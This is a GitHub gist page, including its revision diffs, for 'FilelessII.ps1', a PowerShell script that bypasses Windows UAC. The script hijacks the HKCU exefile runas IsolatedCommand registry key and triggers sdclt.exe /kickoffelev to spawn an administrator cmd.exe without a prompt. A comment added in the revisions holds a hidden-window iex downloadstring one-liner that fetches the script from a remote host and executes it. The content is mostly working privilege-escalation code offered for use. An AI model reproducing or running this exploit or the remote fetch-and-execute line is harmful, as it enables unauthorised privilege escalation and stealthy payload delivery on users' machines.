Skip to content

Instantly share code, notes, and snippets.

@Random1984

Random1984/FilelessII.ps1

Last active July 26, 2017 17:33
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save Random1984/07638e5ae464d30aa011c0ffd3bbfa59 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save Random1984/07638e5ae464d30aa011c0ffd3bbfa59 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. Random1984 revised this gist Jul 26, 2017. 1 changed file with 2 additions and 1 deletion.
    3 changes: 2 additions & 1 deletion FilelessII.ps1
    View file
    Original file line number Diff line number Diff line change
    @@ -1,5 +1,6 @@
    # UAC Fileless II Bypass - Spawns Admin cmd.exe using sdctl runas method
    # UAC Fileless II Bypass - Spawns Admin cmd.exe using sdctl runas method - Runs fine in Win10 x64
    # powershell.exe -W hidden -C iex (new-object net.webclient).downloadstring('https://gist.github.com/Random1984/07638e5ae464d30aa011c0ffd3bbfa59/raw/b3dff9ea72c3594482fa93391c538e204d6a575d/FilelessII.ps1')"

    $reg = "HKCU:\Software\Classes\exefile\shell\runas\command"
    $nam = "IsolatedCommand"

  2. Random1984 revised this gist Jul 26, 2017. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions FilelessII.ps1
    View file
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,5 @@
    # UAC Fileless II Bypass - Spawns Admin cmd.exe using sdctl runas method
    # powershell.exe -W hidden -C iex (new-object net.webclient).downloadstring('https://gist.github.com/Random1984/07638e5ae464d30aa011c0ffd3bbfa59/raw/b3dff9ea72c3594482fa93391c538e204d6a575d/FilelessII.ps1')"
    $reg = "HKCU:\Software\Classes\exefile\shell\runas\command"
    $nam = "IsolatedCommand"

  3. Random1984 created this gist Jul 26, 2017.
    28 changes: 28 additions & 0 deletions FilelessII.ps1
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,28 @@
    # UAC Fileless II Bypass - Spawns Admin cmd.exe using sdctl runas method
    $reg = "HKCU:\Software\Classes\exefile\shell\runas\command"
    $nam = "IsolatedCommand"

    # Check if $reg doesn't exist to create it
    IF(!(Test-Path $reg)) {
    New-Item -Path $reg -Force | Out-Null

    # Put payload into registry - Spawn Admin CMD
    $val = "cmd.exe"
    New-ItemProperty -Path $reg -Name $nam -Value $val -PropertyType ExpandString -Force | Out-Null

    # Run sdctl.exe /kickoffelev to execute payload
    $run = [System.Environment]::ExpandEnvironmentVariables("%systemroot%\System32\sdclt.exe")
    $run2 = "/kickoffelev"
    & $run $run2
    }

    # If $key exists we update the key with our payload
    ELSE {
    $val = "cmd.exe"
    New-ItemProperty -Path $reg -Name $nam -Value $val -PropertyType ExpandString -Force | Out-Null

    # Run sdctl.exe /kickoffelev to complete execution
    $run = [System.Environment]::ExpandEnvironmentVariables("%systemroot%\System32\sdclt.exe")
    $run2 = "/kickoffelev"
    & $run $run2
    }